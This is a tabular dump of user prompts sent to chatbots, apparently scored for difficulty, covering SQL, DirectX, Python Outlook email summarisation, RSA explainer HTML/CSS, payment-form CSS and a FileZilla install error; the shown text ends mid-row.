row_id int64 0 48.4k | init_message stringlengths 1 342k | conversation_hash stringlengths 32 32 | scores dict |
|---|---|---|---|
16,474 | WITH T_VAL_DETAILS AS (
WITH DATATEMP AS
(
SELECT
snap_date,
nascent_id,
last_pay_ago_days,
pay_all_times,
pay_amount
FROM
dws_customer_area_rfm_day_snap_td_di
WHERE
area_id = 80000033
AND last_pay_ago_days IS NOT NULL
AND pay_all_times IS NOT NULL
AND pay_amount IS NOT NULL
)
-- 查询R、F、M分别在用户设置的阈值下的人群
SELECT temp.T, temp.TVAL, BITMAP_COUNT(BITMAP_UNION(TO_BITMAP(nascent_id))) AS NUM, BITMAP_UNION(TO_BITMAP(nascent_id)) AS nascent_id FROM
(
SELECT
'R' AS T,
IF(last_pay_ago_days < 5,
1,
0) AS TVAL,
nascent_id
FROM
DATATEMP
UNION ALL
SELECT
'F' AS T,
IF(pay_all_times < 3,
1,
0) AS TVAL,
nascent_id
FROM
DATATEMP
UNION ALL
SELECT
'M' AS T,
IF(pay_amount < 5,
1,
0) AS TVAL,
nascent_id
FROM
DATATEMP
)
temp
GROUP BY temp.T, temp.TVAL
)
INSERT INTO app_cdp_customer_rfm_crowd_snap_area_real (
area_id,
`cycle`,
snap_date,
update_time,
state,
id,
zyjz,
zyfz,
zybc,
zywl,
ybjz,
ybfz,
ybbc,
ybwl
)
SELECT
'80000033',
'day7',
CURRENT_DATE(),
CURRENT_TIMESTAMP(),
1,
'xxxx-xxxx-xxx-xxxx',
to_bitmap(-1),
to_bitmap(-1),
to_bitmap(-1),
to_bitmap(-1),
to_bitmap(-1),
to_bitmap(-1),
to_bitmap(-1),
to_bitmap(-1)
FROM (
SELECT BITMAP_INTERSECT(TVD.nascent_id) as zyjz
FROM T_VAL_DETAILS TVD
WHERE TVD.T IN ('R', 'M', 'F') AND TVD.TVAL = 1
) as TEMP,
(
SELECT BITMAP_INTERSECT(TVD.nascent_id) as zyfz
FROM T_VAL_DETAILS TVD
WHERE (TVD.T = 'R' AND TVD.TVAL = 1)
OR (TVD.T = 'F' AND TVD.TVAL = 0)
OR (TVD.T = 'M' AND TVD.TVAL = 1)
) as TEMP;
这条sql有什么错误吗？ | 071419c1f10433a6ce71cf68c72013af | {
"intermediate": 0.2644565999507904,
"beginner": 0.3925634026527405,
"expert": 0.34297996759414673
} |
16,475 | dx12 createcommittedresource | 9b84bdc4ee6aad49a4de6b9523e28337 | {
"intermediate": 0.334600031375885,
"beginner": 0.29386579990386963,
"expert": 0.37153419852256775
} |
16,476 | make a one way hashing function in python, with character maps and other encryption methods, make this very secure, speed is not the most important part but keep it optimized still.
Sure, here is a custom variation on sha-512 with some extra features like | 7ccae8618bb3c8fbc98d36faa4db8e1f | {
"intermediate": 0.14329099655151367,
"beginner": 0.10226362943649292,
"expert": 0.7544454336166382
} |
16,477 | <html>
<head>
<style>
h2 {
color: #FF6384;
padding-left: 250px;
}
h4 {
color: #123456;
margin-top: 10px;
margin-bottom: -0px;
font-size: 24px;
}
.predescription {
color: #4c4d33;
font-size: 18px;
font-style: italic;
padding-left: 0px;
font-weight: bold;
}
div {
border: 2px solid #f1f5f9;
border-radius:5px;
padding: 5px;
margin-bottom: 10px;
}
.description{
font-size: 18px;
font-style: italic;
color: #4c4d33;
padding-left: 0px;
}
</style>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q:</h4>→
<sub class='predescription'>
Get special numbers that can only be divided evenly by 1 and themselves.
Pick two different special numbers.
</sub>
<br>
<sub class='description'>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</sub>
<br>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q</h4>→
<sub class='predescription'>
Combine the two special numbers into a larger number.
</sub>
<br>
<sub class='description'>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</sub>
<br>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1)</h4>→
<sub class='predescription'>Do a magic trick that counts how many numbers play nicely with the larger number.</sub>
<br>
<sub class='description'>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</sub><br>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n)</h4>→
<sub class='predescription'>
Choose a magic number that doesn't have any common factors with the result of the magic trick.
</sub>
<br>
<sub class='description'>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</sub>
<br>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1</h4>→
<sub class='predescription'>
Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.
</sub>
<br>
<sub class='description'>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</sub>
<br>
</div>
<div>
<h4>🌐 Public Key: (e, n)</h4>→
<sub class='predescription'>
The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.
</sub>
<br>
<sub class='description'>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</sub>
<br>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>→
<sub class='predescription'>
Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.
</sub>
<br>
<sub class='description'>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</sub>
<br>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<sub class='predescription'>→
If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.
</sub>
<br>
<sub class='description'>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</sub>
<br>
</div>
</body>
</html> | 1af496ed292a7f5db152dbab598aa73e | {
"intermediate": 0.35552677512168884,
"beginner": 0.27487173676490784,
"expert": 0.3696014881134033
} |
16,478 | Add on to the python code, check any existing txt generated with the same title. if yes, no need to process the email and proceed to next email.
import win32com.client
import os
import re
from transformers import BartTokenizer, BartForConditionalGeneration
import time
print("Script started")
# Set up Outlook application
try:
outlook = win32com.client.Dispatch("Outlook.Application")
except Exception as e:
print("Error creating Outlook application:", e)
outlook = None
if outlook:
print("Outlook application created")
# Get the namespace
try:
namespace = outlook.GetNamespace("MAPI")
print("Got namespace")
except Exception as e:
print("Error getting namespace:", e)
namespace = None
if namespace:
print("Got namespace")
# Get the inbox folder
try:
inbox = namespace.GetDefaultFolder(6)
print("Got inbox")
except Exception as e:
print("Error getting Inbox folder:", e)
inbox = None
if inbox:
print("Got inbox")
# Get emails and sort by received time
try:
emails = inbox.Items
emails.Sort("[ReceivedTime]", True)
print("Got emails")
except Exception as e:
print("Error getting emails:", e)
emails = []
# Check if emails found
if len(emails) == 0:
print("No emails found in Inbox")
else:
print(f"Found {len(emails)} emails")
# Create output directory
save_dir = r'C:\Users\gnulch2\Desktop'
if not os.path.exists(save_dir):
os.makedirs(save_dir)
print("Created output directory")
# Load model
try:
model_path = r'D:\PrivateGPT\.cache\huggingface\hub\models--facebook--bart-large-cnn\snapshots\3d224934c6541b2b9147e023c2f6f6fe49bd27e1'
tokenizer = BartTokenizer.from_pretrained(model_path)
model = BartForConditionalGeneration.from_pretrained(model_path)
print("Loaded model")
except Exception as e:
print("Error loading model:", e)
model, tokenizer = None, None
if model and tokenizer:
# Track time
start_time = time.time()
# Summarize emails
summary_length = 1024
for i in range(min(100000, len(emails))):
print(f"Processing email {i+1}/{len(emails)}")
email = emails[i]
try:
subject = email.Subject
body = email.Body
print(f"Got content for email {i+1}")
except Exception as e:
print(f"Error getting email {i+1} content:", e)
continue
# Check if summary file already exists
summary_title = f"{subject}.txt"
if os.path.exists(os.path.join(save_dir, summary_title)):
print(f"Summary file already exists for email {i+1}. Skipping to next email.")
continue
# Extract text
try:
text_content = re.sub('<[^<>]*>', '', body)
text_content = text_content.replace('\n', '')
print(f"Preprocessed email {i+1}")
except Exception as e:
print(f"Error preprocessing email {i+1}:", e)
continue
# Summarize
try:
chunks = [text_content[i:i+summary_length] for i in range(0, len(text_content), summary_length)]
summarized_text = ""
for chunk in chunks:
inputs = tokenizer.batch_encode_plus([chunk], return_tensors='pt', max_length=summary_length, truncation=True)
summary_ids = model.generate(inputs['input_ids'], num_beams=4, max_length=summary_length, early_stopping=True)
summary = tokenizer.decode(summary_ids.squeeze(), skip_special_tokens=True)
summarized_text += summary + " "
print(f"Summarized email {i+1}")
except Exception as e:
print(f"Error summarizing email {i+1}:", e)
continue
# Save summary
try:
save_path = os.path.join(save_dir, summary_title)
with open(save_path, 'w', encoding='utf-8') as f:
f.write(f"Subject: {subject}\n")
f.write(f"Date: {date_str}\n\n")
f.write(f"Summary:\n{summarized_text}\n")
print(f"Saved summary for email {i+1}") | 78f8e694932ed57981d799f98cf1ea25 | {
"intermediate": 0.416377454996109,
"beginner": 0.39354631304740906,
"expert": 0.19007623195648193
} |
16,479 | <html>
<head>
<style>
html{
background-color: #010905;
}
h2 {
color: #FF6384;
text-align: center;
}
h4 {
color: #123456;
margin: 1px auto;
font-size: 24px;
}
.predescription {
font-size: 18px;
font-style: italic;
color: #4c4d33;
text-align: left;
padding-left: 18px;
width: 100%;
margin-top: 5px;
margin-bottom: 5px;
/* Additional text parameters */
font-weight: bold;
text-transform: initial;
letter-spacing: 0px;
line-height: 1.5;
text-decoration: normal;
text-shadow: 2px 2px 4px rgba(2, 2, 25, 0.5);
white-space: pre-wrap;
word-wrap: break-word;
font-family: 'monospace', sans-serif;
text-overflow: ellipsis;
--overflow: hidden;
hyphens: auto;
}
div {
border: 2px solid #f1f5f9;
border-radius:5px;
padding: 5px;
}
.description {
font-size: 18px;
font-style: italic;
color: #4c4d33;
padding-left: 18px;
text-align: left;
margin-top: -20px;
margin-bottom: -15px;
width: 100%;
/* Additional text parameters */
font-weight: 100;
text-transform: initial;
letter-spacing: 0px;
line-height: 1.5;
text-decoration: normal;
text-shadow: 2px 2px 4px rgba(2, 2, 25, 0.5);
white-space: pre-wrap;
word-wrap: break-word;
font-family: 'monospace', sans-serif;
text-overflow: ellipsis;
--overflow: hidden;
hyphens: auto;
}
</style>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q:</h4>
<p class='predescription'>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.
</p>
<br>
<p class='description'>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</p>
<br>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q</h4>
<p class='predescription'>→ Combine the two special numbers into a larger number.
</p>
<br>
<p class='description'>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</p>
<br>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1)</h4>
<p class='predescription'>→ Do a magic trick that counts how many numbers play nicely with the larger number.</p>
<br>
<p class='description'>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</p><br>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n)</h4>
<p class='predescription'>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.
</p>
<br>
<p class='description'>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</p>
<br>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1</h4>
<p class='predescription'>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.
</p>
<br>
<p class='description'>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</p>
<br>
</div>
<div>
<h4>🌐 Public Key: (e, n)</h4>
<p class='predescription'>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.
</p>
<br>
<p class='description'>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</p>
<br>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>
<p class='predescription'>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.
</p>
<br>
<p class='description'>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</p>
<br>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<p class='predescription'>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.
</p>
<br>
<p class='description'>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</p>
<br>
</div>
</body>
</html> | 5bdca540e137539875c99de6dbf90e0c | {
"intermediate": 0.35566961765289307,
"beginner": 0.32342198491096497,
"expert": 0.32090839743614197
} |
16,480 | Which part of the code should i add or change so that to overcome this error: error saving summary for email : [Errno 22] invalid arguement: xxx.txt.
import win32com.client
import os
import re
from transformers import BartTokenizer, BartForConditionalGeneration
import time
print("Script started")
# Set up Outlook application
try:
outlook = win32com.client.Dispatch("Outlook.Application")
except Exception as e:
print("Error creating Outlook application:", e)
outlook = None
if outlook:
print("Outlook application created")
# Get the namespace
try:
namespace = outlook.GetNamespace("MAPI")
print("Got namespace")
except Exception as e:
print("Error getting namespace:", e)
namespace = None
if namespace:
print("Got namespace")
# Get the inbox folder
try:
inbox = namespace.GetDefaultFolder(6)
print("Got inbox")
except Exception as e:
print("Error getting Inbox folder:", e)
inbox = None
if inbox:
print("Got inbox")
# Get emails and sort by received time
try:
emails = inbox.Items
emails.Sort("[ReceivedTime]", True)
print("Got emails")
except Exception as e:
print("Error getting emails:", e)
emails = []
# Check if emails found
if len(emails) == 0:
print("No emails found in Inbox")
else:
print(f"Found {len(emails)} emails")
# Create output directory
save_dir = r'C:\Users\gnulch2\Desktop'
if not os.path.exists(save_dir):
os.makedirs(save_dir)
print("Created output directory")
# Load model
try:
model_path = r'D:\PrivateGPT\.cache\huggingface\hub\models--facebook--bart-large-cnn\snapshots\3d224934c6541b2b9147e023c2f6f6fe49bd27e1'
tokenizer = BartTokenizer.from_pretrained(model_path)
model = BartForConditionalGeneration.from_pretrained(model_path)
print("Loaded model")
except Exception as e:
print("Error loading model:", e)
model, tokenizer = None, None
if model and tokenizer:
# Track time
start_time = time.time()
# Summarize emails
summary_length = 1024
for i in range(min(100000, len(emails))):
print(f"Processing email {i+1}/{len(emails)}")
email = emails[i]
# Check if summary already exists
try:
subject = email.Subject
save_path = os.path.join(save_dir, f"{subject}.txt")
if os.path.exists(save_path):
print(f"Summary for {subject} already exists, skipping")
continue
except Exception as e:
print(f"Error checking for existing summary:", e)
try:
subject = email.Subject
body = email.Body
print(f"Got content for email {i+1}")
except Exception as e:
print(f"Error getting email {i+1} content:", e)
continue
# Extract text
try:
text_content = re.sub('<[^<>]*>', '', body)
text_content = text_content.replace('\n', '')
print(f"Preprocessed email {i+1}")
except Exception as e:
print(f"Error preprocessing email {i+1}:", e)
continue
# Summarize
try:
chunks = [text_content[i:i+summary_length] for i in range(0, len(text_content), summary_length)]
summarized_text = ""
for chunk in chunks:
inputs = tokenizer.batch_encode_plus([chunk], return_tensors='pt', max_length=summary_length, truncation=True)
summary_ids = model.generate(inputs['input_ids'], num_beams=4, max_length=summary_length, early_stopping=True)
summary = tokenizer.decode(summary_ids.squeeze(), skip_special_tokens=True)
summarized_text += summary + " "
print(f"Summarized email {i+1}")
except Exception as e:
print(f"Error summarizing email {i+1}:", e)
continue
# Save summary
try:
date_str = time.strftime("%Y-%m-%d %H:%M:%S")
except:
date_str = ""
try:
save_path = os.path.join(save_dir, f"{subject}.txt")
with open(save_path, 'w', encoding='utf-8') as f:
f.write(f"Subject: {subject}\n")
if date_str:
f.write(f"Date: {date_str}\n\n")
f.write(f"Summary:\n{summarized_text}\n")
print(f"Saved summary for email {i+1}")
except Exception as e:
print(f"Error saving summary for email {i+1}:", e)
print(f"Processed {i+1} emails in {time.time() - start_time} seconds")
print("Script finished") | 417cb4e1e849070a3dab5ddd85dff4d8 | {
"intermediate": 0.3663741946220398,
"beginner": 0.4315081238746643,
"expert": 0.20211762189865112
} |
16,481 | can i applied sentiment similarity add in end layer of bert NER ? | 2e3de3d10af47e3f32031f86c0f369e9 | {
"intermediate": 0.1468561291694641,
"beginner": 0.08619701862335205,
"expert": 0.7669468522071838
} |
16,482 | hide referer header in asp.net web config file | 0742395cf17f92e73688ddc4817f6f33 | {
"intermediate": 0.3834264278411865,
"beginner": 0.2744814455509186,
"expert": 0.3420921564102173
} |
16,483 | body, td, input, textarea, select {
font: 12px/16px Verdana, Arial, Helvetica, sans-serif;
color: #000;
background-color: #f5f5f5;
height: 100%;
}
input {
vertical-align: left;
-moz-border-radius: 4px 4px 4px 4px;
-webkit-border-radius: 4px 4px 4px 4px;
border: 1px solid #ccc;
border-radius: 4px;
box-shadow: 0px 1px 3px rgba(0, 0, 0, 0.1);
height: 28px;
}
select{
background: #fff;
overflow: hidden;
-moz-border-radius: 4px 4px 4px 4px;
-webkit-border-radius: 4px 4px 4px 4px;
border: 1px solid #ccc;
border-radius: 4px;
box-shadow: 0px 1px 3px rgba(0, 0, 0, 0.1);
height:28px;
}
@media (max-width: 360px) {
select{
max-width:250px;
}
}
input.hint {
color: #888;
}
.form-element input{
padding:0 4px;
}
.form-element-date {
width: 94px;
height: 25px;
text-align: right;
}
label {
display: block;
vertical-align: middle;
width: 100%;
padding-left:6px;
}
@media (min-width: 768px) {
label {
display:inline-block;
width:30%;
max-width:280px;
}
}
h3 {
color: #808080;
}
h2, label {
color: #808080;
}
body {
display: block;
margin: 1px;
}
.form {
padding: 20px 16px;
margin: 0 auto;
}
@media (min-width: 768px) {
.form {
min-width: 100%;}
}
.invalid {
border: 1px solid #ED1C24;
}
.form img {
vertical-align: middle;
}
.form-group {
margin-bottom: 10px;
}
.form-element {
display: inline-block;
border-left: 2px solid #FFF;
padding-left: 1px;
border-left-color: rgba(255, 255, 255, 0);
min-width:270px;
}
.form-element.required {
border-left: 4px solid #6EC5AB;
vertical-align: middle;
height:28px;
padding:2px;
}
.form-element input{
padding:0 2px;
}
.form-element-date {
width: 94px;
height: 25px;
text-align: right;
}
.form-group .error {
margin: 4px 0 5px 140px;
}
.popup {
background-color: #f5f5f5;
}
.popup .form {
margin-top: 1px;
padding: 0;
width: 100%;
-webkit-border-radius: 8px;
-moz-border-radius: 8px;
border-radius:8px;
}
.popup .form h2 {
padding: 10px 17px;
margin:0 auto;
margin-top: 1px;
background-color: #f5f5f5;
border-bottom: 1px solid #d5d5d5;
}
.whitespace {
padding: 15px 17px;
border-bottom: 0px;
}
.popup .form h3 {
padding: 10px 25px;
margin-top: 0;
border-bottom: 0px;
}
.popup .form .content {
padding: 0 20px 20px 20px;
margin: 0 auto;
}
.popup .form #btn-submit {
margin-right: 200px;
}
a {
text-decoration:none;
}
a.modalCloseImg {
background: url(Images/hpm/icon-close.gif) no-repeat;
width: 7px;
height: 7px;
display: inline;
z-index: 3200;
position: absolute;
top: 13px;
right: 13px;
cursor: pointer;
}
.required-desc {
width: 24%;
float: right;
margin-top: 11px;
border-left: 4px solid #6EC5AB;
vertical-align: middle;
min-width:120px;
}
@media (min-width: 768px) {
.required-desc {
width: 30%;
float: left;
max-width:280px;
}
}
@media (max-width: 360px) {
.required-desc {
float:none;
margin:0 0 16px 5px;
width:100%;
}
}^
.spacer{
padding:2px;
}
#btn-submit {
float: right;
margin-right: 150px;
}
.error {
font-size: 12px;
color: #ED1C24;
margin: -8px 0 5px 0;
}
.error-field {
font-size: 12px;
color: #ED1C24;
margin: 4px 0 5px 10px;
}
.date-separator{
font-size: 12px;
}
.bottom {
margin-top: 15px;
overflow: hidden;
}
.form .desc {
margin-bottom: 15px;
margin-top: 5px;
}
.popup .form .desc {
margin-left: 25px;
margin-right: 37px;
}
.popup .form #btn-submit {
margin-right: 27px;
}
.tooltip-text{
font-size: 12px;
}
a.tooltip{
display:none;
}
.image-cvv{
cursor: pointer;
top: -3px;
}
.image-cvv-position{
position: relative;
}
.image-cvv-des {
position: absolute;
top: 28px;
left: 120px;
z-index: 20;
border: 1px solid rgb(232, 232, 232);
}
.btn-submit {
float: left;
margin-left: 5px;
display: inline-block;
padding: 9px 20px;
color: white;
font-weight: bold;
font-size: 12px;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
*zoom: 1;
filter: progid:DXImageTransform.Microsoft.gradient(gradientType=0, startColorstr='#FFC1DB9B', endColorstr='#FF8BBF4B');
background-image: -webkit-gradient(linear, 50% 0%, 50% 100%, color-stop(0%, #6EC5AB), color-stop(100%, #6EC5AB));
background-image: -webkit-linear-gradient(#6EC5AB, #6EC5AB);
background-image: -moz-linear-gradient(#6EC5AB, #6EC5AB);
background-image: linear-gradient(#6EC5AB, #6EC5AB);
}
.btn-submit.disabled {
*zoom: 1;
filter: progid:DXImageTransform.Microsoft.gradient(gradientType=0, startColorstr='#FFE2E3E3', endColorstr='#FFC9CACA');
background-image: -webkit-gradient(linear, 50% 0%, 50% 100%, color-stop(0%, #e2e3e3), color-stop(100%, #c9caca));
background-image: -webkit-linear-gradient(#e2e3e3, #c9caca);
background-image: -moz-linear-gradient(#e2e3e3, #c9caca);
background-image: linear-gradient(#e2e3e3, #c9caca);
pointer-events: none;
cursor: default;
}
@media (min-width: 768px) {
.btn-submit {
float: left;
margin-left: 12px;
}
}
above is my hpm page css code for iframe, how do i mask cvv number in this? | a62cd9ae3f610fc1c3cf19304290cedd | {
"intermediate": 0.32998090982437134,
"beginner": 0.400137335062027,
"expert": 0.2698817551136017
} |
16,484 | is there any way to unformat margin and padding for P element without actually stating margin or padding values? | fa6a90bf1e5074ec731da2cbd02aa979 | {
"intermediate": 0.5055770874023438,
"beginner": 0.12268225103616714,
"expert": 0.3717406392097473
} |
16,485 | how to change cvv number field type to password in zuora hpm | aaef31cea7bc6ba06ebcf77b8e6d929a | {
"intermediate": 0.4053250253200531,
"beginner": 0.2555607557296753,
"expert": 0.3391142189502716
} |
16,486 | помоги, что делать? как исправить в терминале, чтобы установить filezilla
[root@rhel82 /]# sudo dnf install /home/rpoint/filezilla_.aarch64.rpm
Updating Subscription Management repositories.
Last metadata expiration check: 0:28:21 ago on Fri 28 Jul 2023 10:36:17 AM MSK.
Error:
Problem: conflicting requests
- package filezilla-3.65.0-1.1.aarch64 does not have a compatible architecture
- nothing provides libpugixml1 >= 1.7 needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libfzclient-commonui-private-3.65.0.so()(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libfzclient-private-3.65.0.so()(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides ld-linux-aarch64.so.1()(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides ld-linux-aarch64.so.1(GLIBC_2.17)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libc.so.6(GLIBC_2.32)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libc.so.6(GLIBC_2.33)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libc.so.6(GLIBC_2.34)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libfilezilla.so.40()(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libm.so.6(GLIBC_2.17)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libnettle.so.8()(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libnettle.so.8(NETTLE_8)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libpugixml.so.1()(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libstdc++.so.6(GLIBCXX_3.4.26)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libstdc++.so.6(GLIBCXX_3.4.29)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libstdc++.so.6(GLIBCXX_3.4.32)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libwx_baseu-suse.so.9.0.0()(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libwx_baseu-suse.so.9.0.0(WXU_3.2)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libwx_gtk2u_aui-suse.so.9.0.0()(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libwx_gtk2u_aui-suse.so.9.0.0(WXU_3.2)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libwx_gtk2u_core-suse.so.9.0.0()(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libwx_gtk2u_core-suse.so.9.0.0(WXU_3.2)(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libwx_gtk2u_xrc-suse.so.9.0.0()(64bit) needed by filezilla-3.65.0-1.1.aarch64
- nothing provides libwx_gtk2u_xrc-suse.so.9.0.0(WXU_3.2)(64bit) needed by filezilla-3.65.0-1.1.aarch64
(try to add '--skip-broken' to skip uninstallable packages or '--nobest' to use not only best candidate packages) | 3e7cdc571d97f12953e87d9611be50ed | {
"intermediate": 0.26729345321655273,
"beginner": 0.5409942865371704,
"expert": 0.1917121559381485
} |
16,487 | Comment transformer "long long current_time = std::chrono::time_point_cast<std::chrono::seconds>(std::chrono::steady_clock::now()).time_since_epoch().count();" en "std::tm*" | e38b73f2f093e9162495bf03452a2704 | {
"intermediate": 0.26409703493118286,
"beginner": 0.5893920063972473,
"expert": 0.14651097357273102
} |
16,488 | <html>
<head>
<style>
html{
background-color: #fff;
}
h2, h4 {
font-size: 18px;
font-style: normal;
margin-top: 0px;
margin-bottom: 0px;
font-weight: bold;
text-transform: initial;
letter-spacing: 0px;
line-height: 1.5;
text-decoration: none;
white-space: pre-wrap;
word-wrap: break-word;
font-family: 'monospace', sans-serif;
text-overflow: ellipsis;
margin:0 auto;
hyphens: auto;
}
h2 {
margin: 10px auto;
color: #FF6384;
text-align: center;
font-size: 24px;
}
h4 {
color: #123456;
text-align: left;
font-size: 18px;
}
.description {
font-size: 18px;
color: #4c4d33;
text-align: left;
margin-top: 5px;
margin-bottom: 0px;
}
div {
border: 10px solid #a1b5c9;
border-radius: 10px;
padding: 10px;
margin-bottom: 10px;
}
</style>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
